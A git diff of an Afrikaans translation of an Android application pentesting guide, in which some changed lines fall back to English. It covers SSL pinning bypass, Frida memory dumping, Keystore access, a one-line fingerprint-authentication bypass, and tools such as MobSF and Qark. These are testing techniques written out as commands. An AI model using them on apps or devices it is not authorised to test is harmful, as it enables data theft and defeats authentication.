-- Jy kan ook probeer om SSL Pinning outomaties te omseil deur **MobSF dynamic analysis** (hieronder verduidelik)
-- As jy steeds dink daar is verkeer wat jy nie vang nie, kan jy probeer om die verkeer na Burp te stuur met iptables. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
+- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
+- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
+- Jy kan ook probeer om **outomaties SSL Pinning te omseil** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
+- Jy kan ook probeer om **outomaties SSL Pinning te omseil** using **MobSF dynamic analysis** (explained below)
+- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
-#### Soek na algemene web-kwesbaarhede
+#### Op soek na Algemene web-kwesbaarhede
 
-Dit is belangrik om ook te soek na algemene web-kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en verligting van hierdie kwesbaarhede val buite die omvang van hierdie samevatting, maar word elders uitvoerig behandel.
+Dit is belangrik om ook na algemene web-kwesbaarhede binne die toepassing te soek. Gedetaileerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede val buite die bestek van hierdie samevatting, maar word elders uitvoerig behandel.
 
 ### Frida
 
-[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, reverse-engineers, en sekuriteitsnavorsers.\
-**Jy kan toegang tot 'n lopende toepassing kry en metodes op runtime hook om gedrag te verander, waardes te verander, waardes te onttrek, ander kode uit te voer...**\
-As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
+[Frida](https://www.frida.re) is 'n dinamiese instrumenteringspakket vir ontwikkelaars, reverse-engineers, en sekuriteitsnavorsers.\
+**Jy kan toegang kry tot 'n lopende toepassing en metodes hook tydens runtime om die gedrag te verander, waardes te wysig, waardes uit te trek, ander kode uit te voer...**\
+As jy Android-toepassings wil pentest jy moet weet hoe om Frida te gebruik.
 
 - Leer hoe om Frida te gebruik: [**Frida tutorial**](frida-tutorial/index.html)
-- Sommige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
-- Ojection is uitstekend om die gebruik van Frida te outomatiseer: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
-- Jy kan 'n paar Awesome Frida-skripte hier vind: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
-- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (hulpmiddel [linjector](https://github.com/erfur/linjector-rs))
+- Sommmige "GUI" vir aksies met Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+- Probeer om anti-debugging / anti-frida meganismes te omseil deur Frida te laai soos aangedui in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
 
-#### Anti-instrumentasie & SSL pinning omseil-werkvloei
+#### Anti-instrumentation & SSL pinning bypass workflow
 
 {{#ref}}
 android-anti-instrumentation-and-ssl-pinning-bypass.md
 {{#endref}}
 
-### **Dump Memory - Fridump**
+### **Dump Geheue - Fridump**
 
-Kyk of die toepassing sensitiewe inligting in die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemonics.
+Kontroleer of die toepassing sensitiewe inligting in die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemonics.
 
 Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app dump met:
 ```bash
@@ -525,76 +528,76 @@ python3 fridump3.py -u <PID>
 frida-ps -Uai
 python3 fridump3.py -u "<Name>"
 ```
-Dit sal die geheue in die ./dump map dump, en daarbinne kan jy met iets soos grep:
+Dit sal die geheue in die ./dump-gids dump, en daarbinne kan jy met grep iets soos:
 ```bash
 strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 ```
 ### **Sensitiewe data in Keystore**
 
-In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg voorregte is dit steeds **moontlik om daartoe toegang te kry**. Aangesien toepassings geneig is om hier **sensitiewe data in platte teks** te stoor, moet pentests dit as root user of iemand met fisiese toegang tot die toestel nagaan, aangesien hulle hierdie data kan steel.
+In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg privileges is dit steeds **moontlik om toegang daartoe te kry**. Aangesien toepassings geneig is om hier **sensitiewe data in onversleutelde teks** te stoor, behoort pentests dit as root user te kontroleer, aangesien iemand met fisiese toegang tot die toestel hierdie data kan steel.
 
 Selfs as 'n app data in die Keystore stoor, moet die data versleuteld wees.
 
-Om toegang tot die data binne die Keystore te kry, kan jy hierdie Frida script gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
+Om toegang tot die data binne die Keystore te kry, kan jy hierdie Frida-script gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 ```bash
 frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
 ### **Fingerprint/Biometrics Bypass**
 
-Met die volgende Frida-script kan dit moontlik wees om **bypass fingerprint authentication** wat Android-toepassings mag uitvoer om **sekere sensitiewe gebiede te beskerm:**
+Met die volgende Frida-skrip kan dit moontlik wees om die **bypass fingerprint authentication** wat Android-toepassings dalk uitvoer om sekere sensitiewe gebiede te beskerm:
 ```bash
 frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 ```
 ### **Agtergrondbeelde**
 
-Wanneer jy 'n toepassing na die agtergrond plaas, stoor Android 'n **snapshot van die toepassing**, sodat wanneer dit weer in die voorgrond herstel word, dit eers die beeld laai voordat die app volledig opstart, wat die indruk skep dat die app vinniger gelaai is.
+Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit weer na die voorgrond herstel word, dit die beeld begin laai voordat die app self laai, sodat dit lyk asof die app vinniger gelaai is.
 
-As hierdie snapshot egter **gevoelige inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let wel: jy benodig root om dit te bereik).
+Indien hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om daartoe toegang te kry).
 
 Die snapshots word gewoonlik gestoor by: **`/data/system_ce/0/snapshots`**
 
-Android bied 'n manier om die **opname van skermskote te voorkom deur die FLAG_SECURE te stel** layout-parameter. Deur hierdie flag te gebruik, word die vensterinhoud as veilig beskou, wat verhoed dat dit in skermskote verskyn of op nie-veilige skerms vertoon word.
+Android bied 'n manier om die **skermskootvaslegging te voorkom deur die FLAG_SECURE** layout-parameter te stel. Deur hierdie vlag te gebruik, word die vensterinhoud as veilig beskou, wat verhoed dat dit in skermskote verskyn of op nie-veilige skerms besigtig word.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
-### **Android Toepassingsontleder**
+### **Android Application Analyzer**
 
-Hierdie instrument kan jou help om verskillende gereedskap tydens dinamiese analise te bestuur: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+Hierdie hulpmiddel kan jou help om verskillende gereedskap tydens dinamiese ontleding te bestuur: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Intent Injection
 
 Ontwikkelaars skep dikwels proxy-komponente soos activities, services, en broadcast receivers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` deurgee, wat riskant kan wees.
 
-Die gevaar lê daarin om aanvallers toe te laat om nie-exported app-komponente te trigger of sensitiewe content providers te bereik deur hierdie Intents verkeerd te rig. 'n Merkwaardige voorbeeld is die `WebView`-komponent wat URLs na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dan uitvoer, wat moontlik tot kwaadwillige Intent-inspuitings kan lei.
+Die gevaar lê daarin om aanvallers toe te laat om nie-geëxporteerde app-komponente te aktiveer of sensitiewe content providers te bekom deur hierdie Intents verkeerd te lei. 'n Noemenswaardige voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik tot kwaadwillige Intent-inspuitings kan lei.
 
-### Belangrike punte
+### Essential Takeaways
 
-- **Intent Injection** is soortgelyk aan 'n web Open Redirect-kwessie.
-- Eksploite behels die deurgee van `Intent`-objekte as extras, wat omgerig kan word om onveilige operasies uit te voer.
-- Dit kan nie-exported komponente en content providers aan aanvallers blootstel.
-- Die `WebView` se URL-na-`Intent` omskakeling kan onbedoelde aksies vergemaklik.
+- **Intent Injection** is soortgelyk aan die web se Open Redirect-kwessie.
+- Eksploite behels die deurgee van `Intent`-objekte as extras, wat herlei kan word om onveilige operasies uit te voer.
+- Dit kan nie-geëxporteerde komponente en content providers aan aanvallers blootstel.
+- `WebView` se URL-naar-`Intent` omskakeling kan onbedoelde aksies vergemaklik.
 
-### Android kliëntkant-inspuitings en ander
+### Android Client Side Injections and others
 
-Jy ken hierdie soort kwesbaarhede waarskynlik van die web. Jy moet besonders versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing:
+Jy ken waarskynlik hierdie soort kwesbaarhede van die web. Jy moet besonder versigtig wees met hierdie kwesbaarhede in 'n Android-applikasie:
 
-- **SQL Injection:** Wanneer jy met dinamiese queries of Content-Providers werk, maak seker dat jy parameterized queries gebruik.
-- **JavaScript Injection (XSS):** Verifieer dat JavaScript- en plugin-ondersteuning gedeaktiveer is vir enige WebViews (gedeaktiveer per verstek). [Meer inligting hier](webview-attacks.md#javascript-enabled).
+- **SQL Injection:** Wanneer jy met dinamiese navrae of Content-Providers werk, verseker dat jy parameterized queries gebruik.
+- **JavaScript Injection (XSS):** Verifieer dat JavaScript en Plugin support gedeaktiveer is vir enige WebViews (gedeaktiveer per verstek). [Meer inligting hier](webview-attacks.md#javascript-enabled).
 - **Local File Inclusion:** WebViews moet toegang tot die lêerstelsel gedeaktiveer hê (geaktiveer per verstek) - `(webview.getSettings().setAllowFileAccess(false);)`. [Meer inligting hier](webview-attacks.md#javascript-enabled).
-- **Eternal cookies:** In verskeie gevalle, wanneer die Android-toepassing die sessie beëindig, word die cookie nie herroep nie of dit kan selfs op skyf gestoor word
+- **Eternal cookies**: In verskeie gevalle wanneer die Android-applikasie die sessie beëindig, word die cookie nie herroep nie of dit kan selfs op die skyf gestoor word
 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
 
-## Automatiese analise
+## Automatic Analysis
 
 ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
 
-**Statiese analise**
+**Static analysis**
 
 ![](<../../images/image (866).png>)
 
-**Kwetsbaarheidsassessering van die toepassing** gebruik 'n mooi web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
+**Kwetsbaarheidsevaluering van die toepassing** met 'n netjiese web-gebaseerde frontend. Jy kan ook dinamiese ontleding uitvoer (maar jy moet die omgewing voorberei).
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@@ -604,41 +607,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
 
 MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
 
-### Geassisteerde dinamiese ontleding met MobSF
+### Geassisteerde dinamiese analise met MobSF
 
-**MobSF** kan ook baie nuttig wees vir **dinamiese ontleding** op **Android**, maar in daardie geval moet jy MobSF en **genymotion** op jou host installeer (’n VM of Docker sal nie werk nie). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
+**MobSF** kan ook baie nuttig wees vir **dynamic analysis** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou host moet installeer (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
 Die **MobSF dynamic analyser** kan:
 
-- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Al hierdie data word outomaties versamel behalwe die skermkiekies — jy moet die knoppie druk wanneer jy ’n skermkiekie wil hê of jy moet "**Exported Activity Tester**" druk om skermkiekies van alle exported activities te verkry.
-- Vasvang **HTTPS traffic**
-- Gebruik **Frida** om **runtime** **information** te verkry
+- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
+- Capture **HTTPS traffic**
+- Use **Frida** to obtain **runtime** **information**
 
-Vanaf Android **versions > 5** sal dit **automatically start Frida** en globale **proxy**-instellings opstel om verkeer vas te vang. Dit sal slegs verkeer van die getoetste toepassing vang.
+From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
 
 **Frida**
 
-Standaard sal dit ook ’n paar Frida-skripte gebruik om **bypass SSL pinning**, **root detection** en **debugger detection** te omseil en om **monitor interesting APIs**.\
-MobSF kan ook **invoke exported activities**, gryp **screenshots** daarvan en **save** dit vir die verslag.
+By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
+MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
 
-Om die dinamiese toetsing te **start**, druk die groen knop: "**Start Instrumentation**". Druk op "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om alle invokasies na hooked methods, die deurgegewe argumente en die teruggegewe waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
-MobSF laat jou ook toe om jou eie **Frida scripts** te laad (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **several pre-written scripts** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies hulle net, druk "**Load**" en druk "**Start Instrumentation**" (jy sal die logs van daardie skripte binne "**Frida Live Logs**" kan sien).
+To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
+MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
-Verder het jy ’n paar bykomende Frida-funksionaliteite:
+Moreover, you have some Auxiliary Frida functionalities:
 
-- Enumerate Loaded Classes: Dit sal al die gelaaide classes uitdruk
-- Capture Strings: Dit sal alle gevangen strings uitdruk terwyl die toepassing gebruik word (baie luidrugtig)
-- Capture String Comparisons: Kan baie nuttig wees. Dit sal die 2 strings wat vergelyk word wys en of die resultaat True of False was.
-- Enumerate Class Methods: Voer die klassenaam in (bv. "java.io.File") en dit sal al die methods van die klas uitdruk.
-- Search Class Pattern: Soek classes volgens ’n patroon
-- Trace Class Methods: Trace ’n hele klas (sien insette en uitsette van alle methods van die klas). Onthou dat MobSF standaard verskeie interessante Android Api methods trace.
+- **Enumerate Loaded Classes**: It will print all the loaded classes
+- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
+- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
+- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
+- **Search Class Pattern**: Search classes by pattern
+- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
 
-Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy op "**Start Intrumentation**" druk en jy sal al die uitsette in "**Frida Live Logs**" sien.
+Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
 
 **Shell**
 
-MobSF bied ook ’n shell aan met sommige **adb** commands, **MobSF commands**, en algemene **shell** **commands** onderaan die dinamiese analise-bladsy. ’n Paar interessante commands:
+Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
 ```bash
 help
 shell ls
@@ -649,22 +652,22 @@ receivers
 ```
 **HTTP gereedskap**
 
-Wanneer HTTP-verkeer vasgelê word kan jy 'n lelike uitsig van die vasgelê verkeer sien op die "**HTTP(S) Traffic**" knoppie onderaan of 'n netter uitsig in die "**Start HTTPTools**" groen knoppie. Vanaf die tweede opsie kan jy die **vasgelê versoeke** **send** na **proxies** soos Burp of Owasp ZAP.\
+Wanneer HTTP-verkeer vasgevang word, kan jy 'n lelike weergawe van die vasgevang verkeer sien onder die "**HTTP(S) Traffic**" knoppie of 'n netter uitsig by die groen "**Start HTTPTools**" knoppie. Vanaf die tweede opsie kan jy die **vasgevang versoeke** **stuur** na **proxies** soos Burp of Owasp ZAP.\
 Om dit te doen, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
-Sodra jy die dinamiese analise met MobSF voltooi het kan jy op "**Start Web API Fuzzer**" druk om **http versoeke** te fuzz en na kwesbaarhede te soek.
+Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en na kwesbaarhede te soek.
 
 > [!TIP]
-> Na die uitvoering van 'n dinamiese analise met MobSF kan die proxy-instellings verkeerd gekonfigureer wees en sal jy dit nie via die GUI kan regstel nie. Jy kan die proxy-instellings regmaak deur:
+> Na die uitvoering van 'n dinamiese analise met MobSF kan die proxy-instellings verkeerd gekonfigureer wees en jy sal dit nie vanuit die GUI kan regstel nie. Jy kan die proxy-instellings regmaak deur die volgende te doen:
 >
 > ```
 > adb shell settings put global http_proxy :0
 > ```
 
-### Geassisteerde dinamiese analise met Inspeckage
+### Assisted Dynamic Analysis with Inspeckage
 
 Jy kan die tool kry by [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
-Hierdie tool sal sommige **Hooks** gebruik om jou te laat weet **wat in die aansoek gebeur** terwyl jy 'n **dinamiese analise** uitvoer.
+Hierdie tool gebruik sekere **Hooks** om jou te wys **wat in die toepassing gebeur** terwyl jy 'n **dinamiese analise** uitvoer.
 
 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
 
@@ -674,7 +677,7 @@ Dit is 'n **geweldige tool om statiese analise met 'n GUI uit te voer**
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Hierdie tool is ontwerp om te soek na verskeie **security related Android application vulnerabilities**, hetsy in **source code** of **packaged APKs**. Die tool is ook **capable of creating a "Proof-of-Concept" deployable APK** en **ADB commands**, om sommige van die gevonde kwesbaarhede te eksploiteer (Exposed activities, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
+Hierdie tool is ontwerp om te soek na verskeie **sekuriteitsverwante Android application vulnerabilities**, hetsy in **source code** of in **packaged APKs**. Die tool is ook **capable of creating a "Proof-of-Concept" deployable APK** en **ADB commands**, om sommige van die gevonde kwesbaarhede uit te buit (Exposed activities, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -683,9 +686,9 @@ qark --java path/to/specific/java/file.java
 ```
 ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
 
-- Vertoon alle uitgehaalde lêers vir maklike verwysing
-- Decompileer outomaties APK-lêers na Java- en Smali-formaat
-- Analiseer AndroidManifest.xml op algemene kwesbaarhede en gedrag
+- Wys alle uitgehaalde lêers vir maklike verwysing
+- Dekompileer APK-lêers outomaties na Java- en Smali-formaat
+- Ontleed AndroidManifest.xml vir algemene kwesbaarhede en gedrag
 - Statiese bronkode-analise vir algemene kwesbaarhede en gedrag
 - Toestelinligting
 - en meer
@@ -694,9 +697,9 @@ reverse-apk relative/path/to/APP.apk
 ```
 ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 
-SUPER is 'n opdragreëltoepassing wat in Windows, MacOS X en Linux gebruik kan word, en wat _.apk_ lêers ontleed om na kwesbaarhede te soek. Dit doen dit deur APKs te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede op te spoor.
+SUPER is 'n command-line application wat op Windows, MacOS X en Linux gebruik kan word en _.apk_ lêers ontleed op soek na kwesbaarhede. Dit doen dit deur APKs te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede op te spoor.
 
-Alle reëls is gesentreer in 'n `rules.json`-lêer, en elke maatskappy of toetser kan sy eie reëls skep om te ontleed wat hulle benodig.
+Alle reëls is gesentreer in 'n `rules.json`-lêer, en elke maatskappy of toetser kan sy eie reëls skep om te analiseer wat hulle nodig het.
 
 Laai die nuutste binaries af vanaf die [download page](https://superanalyzer.rocks/download.html)
 ```
@@ -706,17 +709,17 @@ super-analyzer {apk_file}
 
 ![](<../../images/image (297).png>)
 
-StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty hunters en etiese hackers help met die uitvoering van [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings.
+StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty hunters en ethical hackers help om [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
 
-Die konsep is dat jy jou mobiele toepassingslêer (.apk of .ipa file) op die StaCoAn-toepassing sleep en dit sal vir jou 'n visuele en draagbare verslag genereer. Jy kan die instellings en wordlists aanpas om 'n aangepaste ervaring te kry.
+Die konsep is dat jy jou mobiele toepassingslêer (.apk of .ipa lêer) op die StaCoAn-toepassing sleep en laat val, en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en wordlists aanpas om 'n aangepaste ervaring te kry.
 
-Laai af[ latest release](https://github.com/vincentcox/StaCoAn/releases):
+Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ./stacoan
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-AndroBugs Framework is 'n Android-kwesbaarheidsanalise-stelsel wat ontwikkelaars of hackers help om potensiële sekuriteitskwesbaarhede in Android-toepassings te vind.\  
+AndroBugs Framework is 'n Android kwesbaarheidsanalise-stelsel wat ontwikkelaars of hackers help om potensiële sekuriteitskwesbaarhede in Android-toepassings te vind.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -724,11 +727,11 @@ androbugs.exe -f [APK file]
 ```
 ### [Androwarn](https://github.com/maaaaz/androwarn)
 
-**Androwarn** is 'n hulpmiddel met die hoofdoel om te ontdek en die gebruiker te waarsku oor potensieel kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is.
+**Androwarn** is 'n hulpmiddel waarvan die hoofdoel is om die gebruiker te identifiseer en te waarsku oor potensieel kwaadwillige gedrag wat deur 'n Android-toepassing uitgevoer word.
 
-Die detectie word uitgevoer deur middel van die **static analysis** van die toepassing se Dalvik bytecode, voorgestel as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
+Die opsporing word uitgevoer deur die **static analysis** van die aansoek se Dalvik bytecode, voorgestel as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
 
-Hierdie hulpmiddel soek na **common behavior of "bad" applications** soos: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
+Hierdie hulpmiddel soek na **algemene gedrag van "slegte" toepassings** soos: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
 ```
 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 ```
@@ -736,60 +739,60 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** is 'n **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobile application reverse engineering en analysis tools bymekaar sit om te help met die toetsing van mobiele toepassings teen OWASP mobile security threats. Die doel is om hierdie taak makliker en meer gebruikersvriendelik te maak vir mobile application developers en security professionals.
+**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobile application reverse engineering- en analysis-tools bymekaar sit om te help met die toetsing van mobiele toepassings teen OWASP mobile security threats. Dit het ten doel om hierdie taak makliker en gebruikersvriendelik te maak vir mobile application developers en security professionals.
 
-Dit kan:
+It is able to:
 
-- Java en Smali kode ekstraheer met verskeie tools
-- APKs analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
-- Privaat inligting uit die APK ekstraheer met behulp van regexps.
-- Die Manifest analiseer.
-- Gevonde domains analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
-- APK deobfuscate via [apk-deguard.com](http://www.apk-deguard.com)
+- Ekstraheer Java en Smali kode using different tools
+- Analiseer APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
+- Ekstraheer privaat inligting uit die APK using regexps.
+- Analiseer die Manifest.
+- Analiseer gevonde domeine using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
+- Deobfuskeer APK via [apk-deguard.com](http://www.apk-deguard.com)
 
 ### Koodous
 
-Nuttig om malware op te spoor: [https://koodous.com/](https://koodous.com/)
+Nuttig om malware op te spoor: [https://koodous.com/](https://koodous.com)
 
-## Obfuscating/Deobfuscating code
+## Obfuskering/Deobfuskering van kode
 
-Let daarop dat, afhangend van die diens en konfigurasie wat jy gebruik om die kode te obfusk, geheime dalk wel of nie obfusk geraak nie.
+Let wel dat, afhangend van die diens en konfigurasie wat gebruik word om die kode te obfuskeer, geheime moontlik wel of nie obfuskering ondergaan nie.
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n open source command-line tool wat Java-kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer asook ongebruikte instruksies opspoor en verwyder. ProGuard is vrye sagteware en word versprei onder die GNU General Public License, version 2.
+Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n open source command-line tool wat Java-kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer asook ongebruikte instruksies opspoor en verwyder. ProGuard is vrye sagteware en word versprei onder die GNU General Public License, version 2.
 
 ProGuard word as deel van die Android SDK versprei en hardloop wanneer die toepassing in release mode gebou word.
 
 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
-Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
